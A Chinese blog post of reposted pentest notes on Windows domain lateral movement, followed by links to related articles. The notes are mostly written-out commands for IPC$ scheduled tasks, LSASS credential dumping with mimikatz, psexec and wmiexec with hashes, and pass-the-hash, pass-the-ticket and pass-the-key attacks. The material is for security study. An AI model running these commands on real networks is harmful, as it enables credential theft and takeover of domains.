代码编织梦想

横向

ipc$连接和定时任务

at

at 使用条件:windows2012以下
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad
ministrator # 建立 ipc 连接:
copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务

schtasks

#schtasks >=Windows2012  成立条件
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\ad
ministrator # 建立 ipc 连接:
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务,对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务

流程

利用流程:
1. 建立 IPC 链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除 IPC 链接

#建立连接
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
net view xx.xx.xx.xx # 查看对方共享

#建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

#建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

当无法获得明文密码时

  • Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码。
  • Windows2012以下版本安装KB2871997补丁,也会导致无法获取明文密码。

解决办法:

  • 利用hash传递(pth)进行移动
  • 利用其他服务协议(smb,wmi)进行哈希移动
  • 利用注册表操作开启wdigest auth值进行获取
  • 利用工具或者第三方平台(hachcat)进行破解获取
注册表修改
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /D 1 /F

在这里插入图片描述

破解hash,获取密码

Procdump+Mimikatz

procdump是微软官方软件,下载地址

首先运行procdump后本地生成lsass.dmp文件
然后procdump 配合 mimikatz:
procdump -accepteula -ma lsass.exe lsass.dmp

#mimikatz 上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

hashcat是kali自带的,用法

Hashcat是自称世界上最快的密码恢复工具。

彩虹表免费下载

域横向移动-smb服务-psexec

psexec

原理:
通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。

注意事项:

  • 需要远程系统开启admin$共享(默认是开启的)
  • 在使用ipc$连接目标系统后,不需要输入账号和密码
  • 在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将被自动删除。由于创建和删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。
  • 使用psexec可以直接获得system权限的交互式shell

-accepteula是指第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框。

-s是指以System权限运行远程进程,获得一个System权限的交互式Shell。如果不使用该参数,会获得一个Administrator权限的shell。

psexec有两种用法

第一种
先有 ipc 链接,psexec 需要明文或 hash 传递
net use \\域控ip\ipc$ "password" /user:username(域内用domain\username)
PsExec64.exe -accepteula \\域控ip -s cmd.exe
第二种
不用建立ipc连接
psexec \\域控ip -u administrator -p password -s cmd
psexec \\域控ip -u administrator -p password cmd.exe /c "net user"
psexec -hashes :$HASH$ ./administrator@域控ip
psexec -hashes :$HASH$ domain/administrator@域控ip
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@域控ip
官方 Pstools 无法采用 hash 连接,因此需要第三方库(impacket)

在这里插入图片描述

Metasploit中的psexec模块

使用exploit/windows/smb/psexec_psh模块生成的payload比exploit/windows/smb/psexec的EXE版本好,因为前者是使用powershell实现的,powershell脚本使用了混淆技术达到绕过杀软的目的。如果内网中的一些机器是XP或者2003版本的,我们可以使用后者的payload。

set rhosts 192.168.108.101(域控IP)
set smbuser administrator
set smbpass Admin12345
exploit

域横向移动—WMI服务利用–wmic&wmiexec

WMI

WMI(Windows Management Instrumentation) 是通过 135 端口 进行利用,支持用户名明文或者 hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

wmic /node:域控ip /user:administrator /password:Admin12345 process call create "cmd.exe /c  ipconfig >C:\1.txt"


缺点就是无回显,只能写入在文件中,然后再读取文件:

系统自带命令 cscript 明文传递,有回显,配合vmiexec.vbs文件:

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

vmiexec

vmiexec明文或hash 传递 ,有回显, exe版本(impacket软件包内):

#套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版

wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

域横向 PTH&PTK&PTT 哈希票据传递

PTH(pass the hash) : 利用 lm 或 ntlm 的值。
PTT(pass the ticket): 利用的票据凭证 TGT 。
PTK(pass the key) : 利用的 ekeys 、aes256 。

PTH

原理:

攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

适用条件:

这类攻击适用于:域/工作组环境,可以获得 hash,但是条件不允许对 hash 爆破,内网中存在和当前机器相同的密码,从 windows 到
windows 横向 pth 这一类攻击方法比较广泛

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。

对于 8.1/win2012 r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击。

打没打 KB2871997 补丁后的影响(查看补丁就是看信息收集的systeminfo):
PTH:没打补丁用户都可以连接,打了补丁只能 administrator 连接。
PTK:打了补丁才能r用户都可以连接,采用 aes256 连接。
在这里插入图片描述
pth 攻击,mimikatz 使用 hash 创建与访问令牌,然后使用此令牌身份在当前机器上起一进程

# mimikatz
privilege::debug

# NTLM
sekurlsa::logonPasswords

# AES
sekurlsa::ekeys
sekurlsa::pth /domain:域控名 /user: 相同的用户名 /ntlm: NTLM 哈希

在这里插入图片描述

攻击命令上并没有指定IP地址,这是一种随机攻击,IP地址是前期信息收集的,连接时,可以遍历收集到的IP地址,看哪个有回显,攻击成功反弹回来了一个cmd,在这个cmd中进行连接。

PTT

利用 Kerberos 协议 进行攻击

三种 常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到 内存中实现连接。

MS14-068的危害是造成允许域内任何一个普通用户,将自己提升至域管权限。
Golden ticket(黄金票据)、SILVER ticket(白银票据)属于权限维持技术

微软给出的补丁是 kb3011780

在这里插入图片描述
在这里插入图片描述

  • ms14068
# 查看当前 sid 
whoami/user

# 查看凭证列表
klist

# 查看当前机器凭证
kerberos::list

# mimikatz 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::purge

# 删除所有凭证
klist purge

# 利用 ms14-068 生成 TGT 数据
MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331 -2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45

# 将票据注入到内存中
kerberos::ptc 票据文件

mimikatz.exe 
kerberos::ptc TGT_mary@god.org.ccache"
exit

# 查看域名
net time /domain

# 利用
dir \\OWA20210CN-God.god.org\c$

  • 工具kekeo
# 生成票据
./kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"

# 导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

# 查看凭证
klist

# 利用 net use 载入
dir \\OWA20210CN-God.god.org\c$

  • local本地票据(需要管理员权限):
    10个小时以内的票据
原理就是假如有原来建立连接的本地票据,导出来利用:

privilege::debug
sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi

PTK

PTK aes256 传递,打补丁后的工作组及域连接(是打了那个补丁才能用,KB2871997):

sekurlsa::ekeys    #获取 aes
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
#同理,爆破时这三个地方也都可以当做字典

以上内容都是转载他人的,只在此做个记录!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_45751902/article/details/127154095

渗透测试-地基篇-隧道之Neo-reGeorg内网穿透(二十二)-爱代码爱编程

** 渗透测试-地基篇-隧道之Neo-reGeorg内网穿透(二十二) ** 作者:大余 时间:2020-12-13 简介: 渗透测试-地基篇: 该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。 请注意: 对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境

【学习笔记】内网安全1-信息收集-爱代码爱编程

基础概念 工作组:范围小的计算机放到局域网 域环境:存在一台主机管理 DC:域控制器 AD:活动目录 系统默认常见用户身份: Domain Admins:域管理员(默认对域控制器有完全控制权) Domain Computers:域内机器 Domain Controllers:域控制器 Domain Guest:域访客,权限低 Domain Users:

【渗透测试笔记】之【内网渗透——横向移动:PsExec的使用】-爱代码爱编程

文章目录 1. PsTools工具包中的PsExec1.1 注意事项1.2 使用方法1.2.1 获得交互式shell1.2.2 执行单条命令并回显2. CS中的PsExec2.1 查看目标所在网段其它主机2.2 使用PsExec横向移动3. msf中的PsExec3.1 添加路由3.2 加载模块,设置目标IP、账号、密码及设置payload 1

【渗透测试笔记】之【内网渗透——横向移动:WMI的使用】-爱代码爱编程

文章目录 1. 自带WMIC2. Invoke-WmiCommand.ps13. Invoke-WMIMethod.ps14. wmiexec.vbs5. wmiexec.py 1. 自带WMIC 特点: 不会产生日志记录没有回显,若要查看命令结果需要配合IPC$与type命令wmic /node:10.1.1.2 /user:admini

红队笔记-1(主机发现,情报收集,内网信息收集)-爱代码爱编程

文章目录 一. 信息收集主机发现NMAP工作原理扫描方式nmap 输出选项nmap高级扫描nmap脚本爆破服务绕IDS&IPSnmap优缺点masscannbtscanhping3fscan关联信息收集字典生成常规字典根据特征的字典生成开源信息情报Github Hacking搜索仓库-文件自动化Google hackingExploit-D

内网安全学习(七)---域横向:隧道、网络&传输&应用层协议-爱代码爱编程

域横向网络 & 传输 & 应用层隧道技术 1.前置知识: 1)代理和隧道技术区别: 代理主要是解决访问问题,而隧道用于在数据通信被拦截的情况下封装改变通信协议进行绕过拦截。 2)具体介绍: 在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统(ips/ids)来检查对外连接情况,如果发现异样,就会对通信进行阻断

内网安全-记一次内网靶机渗透-爱代码爱编程

所涉及到的知识点: 1、WEB安全-漏洞发现及利用 2、系统安全-权限提升(漏洞&配置&逃逸) 3、内网安全-横向移动(口令传递&系统漏洞) 实战演练-ATT&CK实战系列-红队评估 环境下载:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/ 利用资源:https:

内网渗透笔记-爱代码爱编程

内网渗透思路 ​ 通过域成员主机,定位出域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网。 内网基础知识 1、工作组: 工作组是局域网中的一个概念,他是长久的资源管理模式

内网渗透简洁笔记_nigo134的博客-爱代码爱编程

第二章-内网信息收集 2.1 ================= 工作组手动信息收集 ================== 1.查询网络配置信息 ipconfig /all 2.查询操作系统及软件信息 systeminfo 查看系统体系结构 echo %PROCESSOR_ARCHItECTURE% 查看安装的软